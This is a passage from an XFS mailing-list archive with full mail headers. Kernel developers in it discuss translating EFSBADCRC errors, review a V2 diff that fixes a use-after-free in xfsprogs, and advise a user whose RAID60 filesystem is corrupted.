([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 08:59:47 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbMo-0004vC-CD; Tue, 04 Mar 2014 09:29:46 +1100 Date: Tue, 4 Mar 2014 09:29:46 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140303222946.GJ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <20140303174425.GB28196@laptop.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140303174425.GB28196@laptop.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393885788 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145710 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 12:44:26PM -0500, Brian Foster wrote: > On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > > a bad CRC, we need to translate that to EFSCORRUPTED so that the > > higher layers treat the error appropriately and so we return a > > consistent error to userspace. This fixes a xfs/005 regression. > > > > Signed-off-by: Dave Chinner > > --- > > This change looks Ok to me, but when I start looking through the users > of bp->b_error, I see examples like xfs_dir3_data_read() being called in > xfs_dir2_leaf_addname() where it looks like an error could bubble all > the way up to xfs_vn_mknod() and its callers. Sure, but: xfs_dir3_data_read xfs_da_read_buf xfs_trans_read_buf_map Which means the patch prevents the EFSBADCRC leaking back out through that path because it converts it in xfs_trans_read_buf_map. > If the intent is to use EFSBADCRC as an internal-only error to > differentiate corruption from crc failure, why not push this more > closely to the boundaries that we have already defined? For example, we > already convert positive errnos to negative at the internal/external > boundaries. Could we convert those to use some kind of > XFS_USERSPACE_ERROR(error) macro/helper that converts errors > appropriately? That doesn't solve the problem needing an error conversion layer in the first place. The long term goal is to remove the error conversions in XFS by converting the core code to the same error passing conventions as the rest of the kernel code. We manage to screw the negation up fairly regularly because it is convoluted and we cal into generic code that returns negative errors from the core that returns positive errors in lots of places. The conversion surface is just too large to manage sanely. > Another thought could be to reconsider whether we still need some of > these extra warnings, as in the xfs_mount.c hunk below, now that we have > the generic xfs_verifier_error() messaging. E.g., if we could remove > those, perhaps we could snub out EFSBADCRC in or around the verifier > after it makes a distinction. Redundant errors aren't s significant problem. It's the lack of meaningful error messages that are much more of an issue. We get more meaningful error messages as a result of the EFSBADCRC changes that have been made, but for the moment that error simply means EFSCORRUPTED to the higher layers. Hence the translation back to EFSCORRUPTED at the (low) layers where the error no longer has a distinct meaning. As we add more functionality, EFSBADCRC will become more meaningful and so get propagated higher into the kernel code. But for now, it should remain an error that doesn't escape the lower layers... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 3 16:31:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 428E87F53 for ; Mon, 3 Mar 2014 16:31:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E50B8F804C for ; Mon, 3 Mar 2014 14:31:25 -0800 (PST) X-ASG-Debug-ID: 1393885884-04bdf05dac217370001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7sF5jlZvjvMqfgX7 for ; Mon, 03 Mar 2014 14:31:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao5uAEACFVN5LJYePGdsb2JhbABagwaDQ4UMs0iFWYEdFwMBAQEBHxkNKIIlAQEFOhwjEAgDFQMJJQ8FJQMHGhOHeMxqFxaOQweEOASUUYNqlW0ogSwk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:01:03 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbO2-0004vN-DI; Tue, 04 Mar 2014 09:31:02 +1100 Date: Tue, 4 Mar 2014 09:31:02 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140303223102.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <5314BD2B.1010904@sandeen.net> <20140303221314.GI13647@dastard> <53150032.9050801@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53150032.9050801@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393885884 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145710 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 04:20:34PM -0600, Eric Sandeen wrote: > On 3/3/14, 4:13 PM, Dave Chinner wrote: > > On Mon, Mar 03, 2014 at 11:34:35AM -0600, Eric Sandeen wrote: > >> On 3/2/14, 11:39 PM, Dave Chinner wrote: > >>> From: Dave Chinner > >>> > >>> While the verifier reoutines may return EFSBADCRC when a buffer ahs > >>> a bad CRC, we need to translate that to EFSCORRUPTED so that the > >>> higher layers treat the error appropriately and so we return a > >>> consistent error to userspace. This fixes a xfs/005 regression. > >> > >> Can you say a little more about the philosophy here? > >> > >> xfs/005 regresses because it expects "structure needs cleaning" > >> > >> So if we instead return our (icky) CRC error code, we get something else. > >> > >> But it is truly a different root cause. > >> > >> So the goal is to NEVER leak EFSBADCRC to userspace? Maybe a comment > >> above that error definition would help document that. > > > > Not permanently. At the moment, none of the code handles it > > correctly, and the leak to userspace is just a symptom that tells us > > we got somethign wrong. We have plenty of places where we check for > > EFSCORRUPTED and do something special, but if we get EFSBADCRC > > instead it will do the wrong thing.... > > > >> And I'm bit worried that we'll leak more in the future if things changed, > >> or if things got missed here. Everything you have here looks fine, but > >> it's not obvious that every path has been caught; it seems a bit random. > > > > It's not random. It's buffer reads that matter, and I > > checked all the calls to xfs_buf_read, xfs_buf_read_map, > > xfs_trans_read_buf and xfs_trans_read_buf. There aren't any other > > read interfaces that use verifiers, and so nothing else can return > > EFSBADCRC. For the log recovery cases, the buffer reads don' use > > verifiers, and those that do won't return EFSBADCRC (e.g. inode > > buffers). > > > >> I know we _just_ merged my "differentiator" patches, but I wonder if > >> it would be better to add XFS_BSTATE_BADCRC to b_state or some other > >> field, and go back to always assigning EFSCORRUPTED. What do you think? > > > > It's just the first layer of adding differentiating support. We've > > just put the mechanism in place to do the differentiation because we > > need it for *userspace functionality* before we need it for > > in-kernel functionality. We put it in the kernel because it has > > value to us developers to indicate what type of corruption error was > > detected in the dmesg output. We can't however, do everything at > > once, so for the moment the kernel code needs to translate it back > > to something the higher layers understand and treat correctly. > > > >> When I wrote those I wasn't thinking about keeping it all internal > >> to the filesystem. > > > > Only for the moment, until there's code in the kernel that makes it > > a meaningfully different error. > > Ok, thanks. Modulo Brian's question about other paths, what is here > so far looks ok to me, then. A commit message that indicates that > this is somewhat temporary might be in order? Sure, I can improve the commit message by including a summary of this discussion. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 3 16:41:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 912217F52 for ; Mon, 3 Mar 2014 16:41:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 11EA6AC002 for ; Mon, 3 Mar 2014 14:41:52 -0800 (PST) X-ASG-Debug-ID: 1393886510-04bdf05dac2189b0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 3yMRlx9ftlIZymNa for ; Mon, 03 Mar 2014 14:41:51 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao5uAL0EFVN5LJYePGdsb2JhbABagwaDQ4UMs0iFWYEdFwMBAQEBHxkNKIIlAQEFJxMcIxAIAxgJJQ8FJQMHGhOHeMxoFxaOQweEOAEDmDuKVYsYKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:06:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbT7-0004wJ-5e; Tue, 04 Mar 2014 09:36:17 +1100 Date: Tue, 4 Mar 2014 09:36:17 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() Message-ID: <20140303223617.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5314E912.9080708@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393886510 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145710 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Mar 03, 2014 at 02:41:54PM -0600, Eric Sandeen wrote: > Commit "3a19fb7 libxfs: stop caching inode structures" > introduced a use after free. > > libxfs_iput() already does the check for ip->i_itemp, and a > kmem_zone_free() if it's present, and then frees the ip pointer. > Re-checking ip->i_itemp after the libxfs_iput call will access > the freed ip pointer, as will setting ip_>i_itemp to NULL. > > Simply remove the offending code to fix this up. which leaves the rest of the ili_done: code looking a little strange. can you convert that now to be: ili_done: if (iip->ili_lock_flags) { iip->ili_lock_flags = 0; return; } /* free the inode */ libxfs_iput(ip, 0); } Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Mon Mar 3 16:48:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 93A187F55 for ; Mon, 3 Mar 2014 16:48:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CA898F8064 for ; Mon, 3 Mar 2014 14:48:35 -0800 (PST) X-ASG-Debug-ID: 1393886912-04cbb054b80cea0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XifBUJ1YVtjBP1dL for ; Mon, 03 Mar 2014 14:48:33 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s23MmUfO027075 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Mar 2014 17:48:31 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s23MmT0k008605 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 3 Mar 2014 17:48:30 -0500 Message-ID: <531506BD.80209@redhat.com> Date: Mon, 03 Mar 2014 16:48:29 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> <20140303223617.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() In-Reply-To: <20140303223617.GL13647@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393886913 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/3/14, 4:36 PM, Dave Chinner wrote: > On Mon, Mar 03, 2014 at 02:41:54PM -0600, Eric Sandeen wrote: >> Commit "3a19fb7 libxfs: stop caching inode structures" >> introduced a use after free. >> >> libxfs_iput() already does the check for ip->i_itemp, and a >> kmem_zone_free() if it's present, and then frees the ip pointer. >> Re-checking ip->i_itemp after the libxfs_iput call will access >> the freed ip pointer, as will setting ip_>i_itemp to NULL. >> >> Simply remove the offending code to fix this up. > > which leaves the rest of the ili_done: code looking a little > strange. > > can you convert that now to be: > > ili_done: > if (iip->ili_lock_flags) { > iip->ili_lock_flags = 0; > return; > } > /* free the inode */ > libxfs_iput(ip, 0); > } yeah, I actually had that first. Not sure why I didn't go with it ;) (Still looks strange to my untrained eye; "if lock flags are set, unset them and don't free the inode, otherwise free it") Anyway, I'll resend. No need to educate me on these details, for now. ;) -Eric > Cheers, > > Dave. > From david@fromorbit.com Mon Mar 3 16:53:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 24F827F58 for ; Mon, 3 Mar 2014 16:53:52 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A6699AC002 for ; Mon, 3 Mar 2014 14:53:51 -0800 (PST) X-ASG-Debug-ID: 1393887229-04bdf05dab219580001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id d8VunlU4Ia4rVhOb for ; Mon, 03 Mar 2014 14:53:49 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApJuAOYGFVN5LJYePGdsb2JhbABaDoJ4g0OFDLNIhVmBHRcDAQEBAR8ZDSiCJQEBBAE6HCMFCwgDDgoJJQ8FJQMHGhOHcQfMXxcWjkMHhDgEmDuVGlMo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:23:48 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbk1-000506-1g; Tue, 04 Mar 2014 09:53:45 +1100 Date: Tue, 4 Mar 2014 09:53:45 +1100 From: Dave Chinner To: Paul Brunk Cc: xfs@oss.sgi.com Subject: Re: rebuilt HW RAID60 array; XFS filesystem looks bad now Message-ID: <20140303225344.GM13647@dastard> X-ASG-Orig-Subj: Re: rebuilt HW RAID60 array; XFS filesystem looks bad now References: <5314EE97.3020004@uga.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5314EE97.3020004@uga.edu> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393887229 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145711 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 04:05:27PM -0500, Paul Brunk wrote: > Hi: > > Short version: XFS filesystem on HW RAID60 array. Array has been > multiply rebuilt due to drive insertions. XFS filesystem damaged and > trying to salvage what I can, and I want to make sure I have no option > other than "xfs_repair -L". Details follow. > > # uname -a > Linux rccstor7.local 2.6.32-431.5.1.el6.x86_64 #1 SMP Wed Feb 12 > 00:41:43 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux > > xfs_repair version 3.1.1. The box has one 4-core Opteron CPU and 8 > GB of RAM. > > I have a 32TB HW RAID60 volume (Areca 1680 HW RAID) made of two RAID6 > raid sets. Hmmm - yet another horror story from someone using an Areca HW RAID controller. I'm starting to wonder if we should be putting an entry in the FAQ saying "don't use Areca RAID controllers if you value your data"... [snip] > # mount /media/shares > mount: wrong fs type, bad option, bad superblock on /dev/mapper/vg0-lv0, > missing codepage or helper program, or other error > In some cases useful info is found in syslog - try > dmesg | tail or so > > # dmesg|tail > XFS (dm-2): Mounting Filesystem > XFS (dm-2): Log inconsistent or not a log (last==0, first!=1) > XFS (dm-2): empty log check failed > XFS (dm-2): log mount/recovery failed: error 22 > XFS (dm-2): log mount failed That's bad. The log does not contain a valid header in it's first block. > # xfs_repair -n /dev/dm-2 > produced at least 7863 lines of output. It begins > > Phase 1 - find and verify superblock... > Phase 2 - using internal log > - scan filesystem freespace and inode maps... > bad magic # 0xa04850d in btbno block 0/108 > expected level 0 got 10510 in btbno block 0/108 > bad btree nrecs (144, min=255, max=510) in btbno block 0/108 Corrupted freespace btree blocks. > block (0,80-80) multiply claimed by bno space tree, state - 2 > block (0,108-108) multiply claimed by bno space tree, state - 7 with duplicate entries in them. That's not a good sign... > > # egrep -c "invalid start block" xfsrepair.out > 2061 > # egrep -c "multiply claimed by bno" xfsrepair.out > 4753 > > Included in the output are 381 occurrences of this pair of messages: > > bad starting inode # (0 (0x0 0x0)) in ino rec, skipping rec > badly aligned inode rec (starting inode = 0) Ok, so the inode btree is also full of corrupt blocks. > Is there anything I should try prior to xfs_repair -L? Pray? Basically, then primary metadata in the filesystem that tracks allocated space and inodes looks to be badly corrupted. If the metadata is corrupted like this from the rebuild, then the rest of the block device is likely to be busted up just as badly. So you might be able to recover some of the filesysetm structure with XFS repair, but all your data is going to be just as corrupted. I'd be using metadump like Eric suggested to create a test image to see what filesystem structure you'll end up with after running repair. But with the corrupt AG btrees, there's a good chance even metadump won't be able to run successfully on the filesystem. And even that won't tell you how badly damaged the data is, just what data you will have access to after running repair. > I'm just trying to salvage whatever I can from this FS. I'm aware it > could be all gone. Thanks. Good luck :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Mar 3 16:56:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3AFDA7F5A for ; Mon, 3 Mar 2014 16:56:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ACA27AC002 for ; Mon, 3 Mar 2014 14:56:09 -0800 (PST) X-ASG-Debug-ID: 1393887367-04bdf05dab219760001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 7cbDGgUpOlrLr6Q9 for ; Mon, 03 Mar 2014 14:56:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao9uABMIFVN5LJYePGdsb2JhbABSCIMGg0OFDLNJhVmBHRcDAQEBAR8ZDSiCJQEBBScTHCMQCAMYCSUPBSUDBxoTh3jMXxcWjW1WB4Q4BJg7ilWLGCg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 09:25:40 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKbls-00050K-2i; Tue, 04 Mar 2014 09:55:40 +1100 Date: Tue, 4 Mar 2014 09:55:40 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() Message-ID: <20140303225540.GN13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> <20140303223617.GL13647@dastard> <531506BD.80209@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531506BD.80209@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393887367 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145711 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Mon, Mar 03, 2014 at 04:48:29PM -0600, Eric Sandeen wrote: > On 3/3/14, 4:36 PM, Dave Chinner wrote: > > On Mon, Mar 03, 2014 at 02:41:54PM -0600, Eric Sandeen wrote: > >> Commit "3a19fb7 libxfs: stop caching inode structures" > >> introduced a use after free. > >> > >> libxfs_iput() already does the check for ip->i_itemp, and a > >> kmem_zone_free() if it's present, and then frees the ip pointer. > >> Re-checking ip->i_itemp after the libxfs_iput call will access > >> the freed ip pointer, as will setting ip_>i_itemp to NULL. > >> > >> Simply remove the offending code to fix this up. > > > > which leaves the rest of the ili_done: code looking a little > > strange. > > > > can you convert that now to be: > > > > ili_done: > > if (iip->ili_lock_flags) { > > iip->ili_lock_flags = 0; > > return; > > } > > /* free the inode */ > > libxfs_iput(ip, 0); > > } > > yeah, I actually had that first. Not sure why I didn't go with it ;) > > (Still looks strange to my untrained eye; "if lock flags are set, unset them and don't free the inode, otherwise free it") If the lock falgs are set, it means the caller expects the transaction commit to return the inode to it in a locked state. Exactly the same semantics as the kernel code - the lock flags track how the transaction releases the inode... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Mon Mar 3 16:58:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2F3907F60 for ; Mon, 3 Mar 2014 16:58:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9253EAC002 for ; Mon, 3 Mar 2014 14:58:56 -0800 (PST) X-ASG-Debug-ID: 1393887534-04cbb054b80d770001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id bsscoledvQ0sbtg4 for ; Mon, 03 Mar 2014 14:58:54 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D4A09610C4E7; Mon, 3 Mar 2014 16:58:53 -0600 (CST) Message-ID: <53150924.2000208@sandeen.net> Date: Mon, 03 Mar 2014 16:58:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfsprogs: fix use after free in inode_item_done() References: <5314E912.9080708@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfsprogs: fix use after free in inode_item_done() In-Reply-To: <5314E912.9080708@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393887534 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145711 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Commit "3a19fb7 libxfs: stop caching inode structures" introduced a use after free. libxfs_iput() already does the check for ip->i_itemp, and a kmem_zone_free() if it's present, and then frees the ip pointer. Re-checking ip->i_itemp after the libxfs_iput call will access the freed ip pointer, as will setting ip_>i_itemp to NULL. Simply remove the offending code to fix this up. Signed-off-by: Eric Sandeen --- V2: Make it prettier based on Dave's comments. diff --git a/libxfs/trans.c b/libxfs/trans.c index 6c9d202..c443863 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -694,7 +694,6 @@ inode_item_done( xfs_mount_t *mp; xfs_buf_t *bp; int error; - extern kmem_zone_t *xfs_ili_zone; ip = iip->ili_inode; mp = iip->ili_item.li_mountp; @@ -736,15 +735,9 @@ ili_done: if (iip->ili_lock_flags) { iip->ili_lock_flags = 0; return; - } else { - libxfs_iput(ip, 0); } - - if 